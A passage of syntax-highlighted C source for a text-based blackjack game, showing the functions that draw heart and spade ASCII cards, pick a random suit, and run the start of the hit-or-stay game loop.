</span></span><span class="line"><span class="ln">380</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;|    %c|</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">heart</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">381</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;-------</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">382</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">383</span><span class="cl">     
</span></span><span class="line"><span class="ln">384</span><span class="cl">    <span class="k">if</span><span class="p">(</span><span class="n">k</span><span class="o">==</span><span class="mi">10</span><span class="p">)</span> <span class="c1">//If random number is 10, print card with J (Jack) on face
</span></span></span><span class="line"><span class="ln">385</span><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="ln">386</span><span class="cl">    <span class="c1">//Heart Card
</span></span></span><span class="line"><span class="ln">387</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;-------</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">388</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;|%c    |</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">heart</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">389</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;|  J  |</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">390</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;|    %c|</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">heart</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">391</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;-------</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">392</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">393</span><span class="cl">     
</span></span><span class="line"><span class="ln">394</span><span class="cl">    <span class="k">if</span><span class="p">(</span><span class="n">k</span><span class="o">==</span><span class="mi">11</span><span class="p">)</span> <span class="c1">//If random number is 11, print card with A (Ace) on face
</span></span></span><span class="line"><span class="ln">395</span><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="ln">396</span><span class="cl">    <span class="c1">//Heart Card
</span></span></span><span class="line"><span class="ln">397</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;-------</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">398</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;|%c    |</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">heart</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">399</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;|  A  |</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">400</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;|    %c|</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">heart</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">401</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;-------</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">402</span><span class="cl">    <span class="k">if</span><span class="p">(</span><span class="n">player_total</span><span class="o">&lt;=</span><span class="mi">10</span><span class="p">)</span> <span class="c1">//If random number is Ace, change value to 11 or 1 depending on dealer total
</span></span></span><span class="line"><span class="ln">403</span><span class="cl">         <span class="p">{</span>
</span></span><span class="line"><span class="ln">404</span><span class="cl">             <span class="n">k</span><span class="o">=</span><span class="mi">11</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">405</span><span class="cl">         <span class="p">}</span>
</span></span><span class="line"><span class="ln">406</span><span class="cl">          
</span></span><span class="line"><span class="ln">407</span><span class="cl">         <span class="k">else</span>
</span></span><span class="line"><span class="ln">408</span><span class="cl">         <span class="p">{</span>
</span></span><span class="line"><span class="ln">409</span><span class="cl">             <span class="n">k</span><span class="o">=</span><span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">410</span><span class="cl">         <span class="p">}</span>
</span></span><span class="line"><span class="ln">411</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">412</span><span class="cl">     
</span></span><span class="line"><span class="ln">413</span><span class="cl">    <span class="k">if</span><span class="p">(</span><span class="n">k</span><span class="o">==</span><span class="mi">12</span><span class="p">)</span> <span class="c1">//If random number is 12, print card with Q (Queen) on face
</span></span></span><span class="line"><span class="ln">414</span><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="ln">415</span><span class="cl">    <span class="c1">//Heart Card
</span></span></span><span class="line"><span class="ln">416</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;-------</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">417</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;|%c    |</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">heart</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">418</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;|  Q  |</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">419</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;|    %c|</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">heart</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">420</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;-------</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">421</span><span class="cl">    <span class="n">k</span><span class="o">=</span><span class="mi">10</span><span class="p">;</span> <span class="c1">//Set card value to 10
</span></span></span><span class="line"><span class="ln">422</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">423</span><span class="cl">     
</span></span><span class="line"><span class="ln">424</span><span class="cl">    <span class="k">if</span><span class="p">(</span><span class="n">k</span><span class="o">==</span><span class="mi">13</span><span class="p">)</span> <span class="c1">//If random number is 13, print card with K (King) on face
</span></span></span><span class="line"><span class="ln">425</span><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="ln">426</span><span class="cl">    <span class="c1">//Heart Card
</span></span></span><span class="line"><span class="ln">427</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;-------</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">428</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;|%c    |</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">heart</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">429</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;|  K  |</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">430</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;|    %c|</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">heart</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">431</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;-------</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">432</span><span class="cl">    <span class="n">k</span><span class="o">=</span><span class="mi">10</span><span class="p">;</span> <span class="c1">//Set card value to 10
</span></span></span><span class="line"><span class="ln">433</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">434</span><span class="cl">    <span class="k">return</span> <span class="n">k</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">435</span><span class="cl"><span class="p">}</span> <span class="c1">// End Function
</span></span></span><span class="line"><span class="ln">436</span><span class="cl"> 
</span></span><span class="line"><span class="ln">437</span><span class="cl"><span class="kt">int</span> <span class="nf">spadecard</span><span class="p">()</span> <span class="c1">//Displays Spade Card Image
</span></span></span><span class="line"><span class="ln">438</span><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="ln">439</span><span class="cl">     
</span></span><span class="line"><span class="ln">440</span><span class="cl">    <span class="nf">srand</span><span class="p">((</span><span class="kt">unsigned</span><span class="p">)</span> <span class="nf">time</span><span class="p">(</span><span class="nb">NULL</span><span class="p">));</span> <span class="c1">//Generates random seed for rand() function
</span></span></span><span class="line"><span class="ln">441</span><span class="cl">    <span class="n">k</span><span class="o">=</span><span class="nf">rand</span><span class="p">()</span><span class="o">%</span><span class="mi">13</span><span class="o">+</span><span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">442</span><span class="cl">     
</span></span><span class="line"><span class="ln">443</span><span class="cl">    <span class="k">if</span><span class="p">(</span><span class="n">k</span><span class="o">&lt;=</span><span class="mi">9</span><span class="p">)</span> <span class="c1">//If random number is 9 or less, print card with that number
</span></span></span><span class="line"><span class="ln">444</span><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="ln">445</span><span class="cl">    <span class="c1">//Spade Card
</span></span></span><span class="line"><span class="ln">446</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;-------</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">447</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;|%c    |</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">spade</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">448</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;|  %d  |</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">k</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">449</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;|    %c|</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">spade</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">450</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;-------</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">451</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">452</span><span class="cl">     
</span></span><span class="line"><span class="ln">453</span><span class="cl">    <span class="k">if</span><span class="p">(</span><span class="n">k</span><span class="o">==</span><span class="mi">10</span><span class="p">)</span> <span class="c1">//If random number is 10, print card with J (Jack) on face
</span></span></span><span class="line"><span class="ln">454</span><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="ln">455</span><span class="cl">    <span class="c1">//Spade Card
</span></span></span><span class="line"><span class="ln">456</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;-------</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">457</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;|%c    |</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">spade</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">458</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;|  J  |</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">459</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;|    %c|</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">spade</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">460</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;-------</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">461</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">462</span><span class="cl">     
</span></span><span class="line"><span class="ln">463</span><span class="cl">    <span class="k">if</span><span class="p">(</span><span class="n">k</span><span class="o">==</span><span class="mi">11</span><span class="p">)</span> <span class="c1">//If random number is 11, print card with A (Ace) on face
</span></span></span><span class="line"><span class="ln">464</span><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="ln">465</span><span class="cl">    <span class="c1">//Spade Card
</span></span></span><span class="line"><span class="ln">466</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;-------</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">467</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;|%c    |</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">spade</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">468</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;|  A  |</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">469</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;|    %c|</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">spade</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">470</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;-------</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">471</span><span class="cl">    <span class="k">if</span><span class="p">(</span><span class="n">player_total</span><span class="o">&lt;=</span><span class="mi">10</span><span class="p">)</span> <span class="c1">//If random number is Ace, change value to 11 or 1 depending on dealer total
</span></span></span><span class="line"><span class="ln">472</span><span class="cl">         <span class="p">{</span>
</span></span><span class="line"><span class="ln">473</span><span class="cl">             <span class="n">k</span><span class="o">=</span><span class="mi">11</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">474</span><span class="cl">         <span class="p">}</span>
</span></span><span class="line"><span class="ln">475</span><span class="cl">          
</span></span><span class="line"><span class="ln">476</span><span class="cl">         <span class="k">else</span>
</span></span><span class="line"><span class="ln">477</span><span class="cl">         <span class="p">{</span>
</span></span><span class="line"><span class="ln">478</span><span class="cl">             <span class="n">k</span><span class="o">=</span><span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">479</span><span class="cl">         <span class="p">}</span>
</span></span><span class="line"><span class="ln">480</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">481</span><span class="cl">     
</span></span><span class="line"><span class="ln">482</span><span class="cl">    <span class="k">if</span><span class="p">(</span><span class="n">k</span><span class="o">==</span><span class="mi">12</span><span class="p">)</span> <span class="c1">//If random number is 12, print card with Q (Queen) on face
</span></span></span><span class="line"><span class="ln">483</span><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="ln">484</span><span class="cl">    <span class="c1">//Spade Card
</span></span></span><span class="line"><span class="ln">485</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;-------</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">486</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;|%c    |</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">spade</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">487</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;|  Q  |</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">488</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;|    %c|</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">spade</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">489</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;-------</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">490</span><span class="cl">    <span class="n">k</span><span class="o">=</span><span class="mi">10</span><span class="p">;</span> <span class="c1">//Set card value to 10
</span></span></span><span class="line"><span class="ln">491</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">492</span><span class="cl">     
</span></span><span class="line"><span class="ln">493</span><span class="cl">    <span class="k">if</span><span class="p">(</span><span class="n">k</span><span class="o">==</span><span class="mi">13</span><span class="p">)</span> <span class="c1">//If random number is 13, print card with K (King) on face
</span></span></span><span class="line"><span class="ln">494</span><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="ln">495</span><span class="cl">    <span class="c1">//Spade Card
</span></span></span><span class="line"><span class="ln">496</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;-------</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">497</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;|%c    |</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">spade</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">498</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;|  K  |</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">499</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;|    %c|</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">spade</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">500</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;-------</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">501</span><span class="cl">    <span class="n">k</span><span class="o">=</span><span class="mi">10</span><span class="p">;</span> <span class="c1">//Set card value to 10
</span></span></span><span class="line"><span class="ln">502</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">503</span><span class="cl">    <span class="k">return</span> <span class="n">k</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">504</span><span class="cl"><span class="p">}</span> <span class="c1">// End Function
</span></span></span><span class="line"><span class="ln">505</span><span class="cl"> 
</span></span><span class="line"><span class="ln">506</span><span class="cl"><span class="kt">int</span> <span class="nf">randcard</span><span class="p">()</span> <span class="c1">//Generates random card
</span></span></span><span class="line"><span class="ln">507</span><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="ln">508</span><span class="cl">                
</span></span><span class="line"><span class="ln">509</span><span class="cl">     <span class="nf">srand</span><span class="p">((</span><span class="kt">unsigned</span><span class="p">)</span> <span class="nf">time</span><span class="p">(</span><span class="nb">NULL</span><span class="p">));</span> <span class="c1">//Generates random seed for rand() function
</span></span></span><span class="line"><span class="ln">510</span><span class="cl">     <span class="n">random_card</span> <span class="o">=</span> <span class="nf">rand</span><span class="p">()</span><span class="o">%</span><span class="mi">4</span><span class="o">+</span><span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">511</span><span class="cl">      
</span></span><span class="line"><span class="ln">512</span><span class="cl">     <span class="k">if</span><span class="p">(</span><span class="n">random_card</span><span class="o">==</span><span class="mi">1</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">513</span><span class="cl">     <span class="p">{</span>   
</span></span><span class="line"><span class="ln">514</span><span class="cl">         <span class="nf">clubcard</span><span class="p">();</span>
</span></span><span class="line"><span class="ln">515</span><span class="cl">         <span class="n">l</span><span class="o">=</span><span class="n">k</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">516</span><span class="cl">     <span class="p">}</span>
</span></span><span class="line"><span class="ln">517</span><span class="cl">      
</span></span><span class="line"><span class="ln">518</span><span class="cl">     <span class="k">if</span><span class="p">(</span><span class="n">random_card</span><span class="o">==</span><span class="mi">2</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">519</span><span class="cl">     <span class="p">{</span>
</span></span><span class="line"><span class="ln">520</span><span class="cl">         <span class="nf">diamondcard</span><span class="p">();</span>
</span></span><span class="line"><span class="ln">521</span><span class="cl">         <span class="n">l</span><span class="o">=</span><span class="n">k</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">522</span><span class="cl">     <span class="p">}</span>
</span></span><span class="line"><span class="ln">523</span><span class="cl">      
</span></span><span class="line"><span class="ln">524</span><span class="cl">     <span class="k">if</span><span class="p">(</span><span class="n">random_card</span><span class="o">==</span><span class="mi">3</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">525</span><span class="cl">     <span class="p">{</span>
</span></span><span class="line"><span class="ln">526</span><span class="cl">         <span class="nf">heartcard</span><span class="p">();</span>
</span></span><span class="line"><span class="ln">527</span><span class="cl">         <span class="n">l</span><span class="o">=</span><span class="n">k</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">528</span><span class="cl">     <span class="p">}</span>
</span></span><span class="line"><span class="ln">529</span><span class="cl">          
</span></span><span class="line"><span class="ln">530</span><span class="cl">     <span class="k">if</span><span class="p">(</span><span class="n">random_card</span><span class="o">==</span><span class="mi">4</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">531</span><span class="cl">     <span class="p">{</span>
</span></span><span class="line"><span class="ln">532</span><span class="cl">         <span class="nf">spadecard</span><span class="p">();</span>
</span></span><span class="line"><span class="ln">533</span><span class="cl">         <span class="n">l</span><span class="o">=</span><span class="n">k</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">534</span><span class="cl">     <span class="p">}</span>    
</span></span><span class="line"><span class="ln">535</span><span class="cl">     <span class="k">return</span> <span class="n">l</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">536</span><span class="cl"><span class="p">}</span> <span class="c1">// End Function   
</span></span></span><span class="line"><span class="ln">537</span><span class="cl">
</span></span><span class="line"><span class="ln">538</span><span class="cl"> 
</span></span><span class="line"><span class="ln">539</span><span class="cl"><span class="kt">void</span> <span class="nf">play</span><span class="p">()</span> <span class="c1">//Plays game
</span></span></span><span class="line"><span class="ln">540</span><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="ln">541</span><span class="cl">      
</span></span><span class="line"><span class="ln">542</span><span class="cl">     <span class="kt">int</span> <span class="n">p</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span> <span class="c1">// holds value of player_total
</span></span></span><span class="line"><span class="ln">543</span><span class="cl">     <span class="kt">int</span> <span class="n">i</span><span class="o">=</span><span class="mi">1</span><span class="p">;</span> <span class="c1">// counter for asking user to hold or stay (aka game turns)
</span></span></span><span class="line"><span class="ln">544</span><span class="cl">     <span class="kt">char</span> <span class="n">choice3</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">545</span><span class="cl">      
</span></span><span class="line"><span class="ln">546</span><span class="cl">     <span class="n">cash</span> <span class="o">=</span> <span class="n">cash</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">547</span><span class="cl">     <span class="nf">cash_test</span><span class="p">();</span>
</span></span><span class="line"><span class="ln">548</span><span class="cl">     <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">Cash: $%d</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span><span class="n">cash</span><span class="p">);</span> <span class="c1">//Prints amount of cash user has
</span></span></span><span class="line"><span class="ln">549</span><span class="cl">     <span class="nf">randcard</span><span class="p">();</span> <span class="c1">//Generates random card
</span></span></span><span class="line"><span class="ln">550</span><span class="cl">     <span class="n">player_total</span> <span class="o">=</span> <span class="n">p</span> <span class="o">+</span> <span class="n">l</span><span class="p">;</span> <span class="c1">//Computes player total
</span></span></span><span class="line"><span class="ln">551</span><span class="cl">     <span class="n">p</span> <span class="o">=</span> <span class="n">player_total</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">552</span><span class="cl">     <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">Your Total is %d</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">p</span><span class="p">);</span> <span class="c1">//Prints player total
</span></span></span><span class="line"><span class="ln">553</span><span class="cl">     <span class="nf">dealer</span><span class="p">();</span> <span class="c1">//Computes and prints dealer total
</span></span></span><span class="line"><span class="ln">554</span><span class="cl">     <span class="nf">betting</span><span class="p">();</span> <span class="c1">//Prompts user to enter bet amount
</span></span></span><span class="line"><span class="ln">555</span><span class="cl">        
</span></span><span class="line"><span class="ln">556</span><span class="cl">     <span class="k">while</span><span class="p">(</span><span class="n">i</span><span class="o">&lt;=</span><span class="mi">21</span><span class="p">)</span> <span class="c1">//While loop used to keep asking user to hit or stay at most twenty-one times
</span></span></span><span class="line"><span class="ln">557</span><span class="cl">                  <span class="c1">//  because there is a chance user can generate twenty-one consecutive 1&#39;s
</span></span></span><span class="line"><span class="ln">558</span><span class="cl">     <span class="p">{</span>
</span></span><span class="line"><span class="ln">559</span><span class="cl">         <span class="k">if</span><span class="p">(</span><span class="n">p</span><span class="o">==</span><span class="mi">21</span><span class="p">)</span> <span class="c1">//If user total is 21, win
</span></span></span><span class="line"><span class="ln">560</span><span class="cl">         <span class="p">{</span>
</span></span><span class="line"><span class="ln">561</span><span class="cl">             <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">Unbelievable! You Win!</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">562</span><span class="cl">             <span class="n">won</span> <span class="o">=</span> <span class="n">won</span><span class="o">+</span><span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">563</span><span class="cl">             <span class="n">cash</span> <span class="o">=</span> <span class="n">cash</span><span class="o">+</span><span class="n">bet</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">564</span><span class="cl">             <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">You have %d Wins and %d Losses. Awesome!</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">won</span><span class="p">,</span> <span class="n">loss</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">565</span><span class="cl">             <span class="n">dealer_total</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">566</span><span class="cl">             <span class="nf">askover</span><span class="p">();</span>
</span></span><span class="line"><span class="ln">567</span><span class="cl">         <span class="p">}</span>
</span></span><span class="line"><span class="ln">568</span><span class="cl">      
</span></span><span class="line"><span class="ln">569</span><span class="cl">         <span class="k">if</span><span class="p">(</span><span class="n">p</span><span class="o">&gt;</span><span class="mi">21</span><span class="p">)</span> <span class="c1">//If player total is over 21, loss
</span></span></span><span class="line"><span class="ln">570</span><span class="cl">         <span class="p">{</span>
</span></span><span class="line"><span class="ln">571</span><span class="cl">             <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">Woah Buddy, You Went WAY over.</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">572</span><span class="cl">             <span class="n">loss</span> <span class="o">=</span> <span class="n">loss</span><span class="o">+</span><span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">573</span><span class="cl">             <span class="n">cash</span> <span class="o">=</span> <span class="n">cash</span> <span class="o">-</span> <span class="n">bet</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">574</span><span class="cl">             <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">You have %d Wins and %d Losses. Awesome!</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">won</span><span class="p">,</span> <span class="n">loss</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">575</span><span class="cl">             <span class="n">dealer_total</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">576</span><span class="cl">             <span class="nf">askover</span><span class="p">();</span>
</span></span><span class="line"><span class="ln">577</span><span class="cl">         <span class="p">}</span>
</span></span><span class="line"><span class="ln">578</span><span class="cl">      
</span></span><span class="line"><span class="ln">579</span><span class="cl">         <span class="k">if</span><span class="p">(</span><span class="n">p</span><span class="o">&lt;=</span><span class="mi">21</span><span class="p">)</span> <span class="c1">//If player total is less than 21, ask to hit or stay
</span></span></span><span class="line"><span class="ln">580</span><span class="cl">         <span class="p">{</span>         
</span></span><span class="line"><span class="ln">581</span><span class="cl">             <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n\n</span><span class="s">Would You Like to Hit or Stay?&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">582</span><span class="cl">              
</span></span><span class="line"><span class="ln">583</span><span class="cl">             <span class="nf">scanf</span><span class="p">(</span><span class="s">&#34;%c&#34;</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">choice3</span><span class="p">);</span>
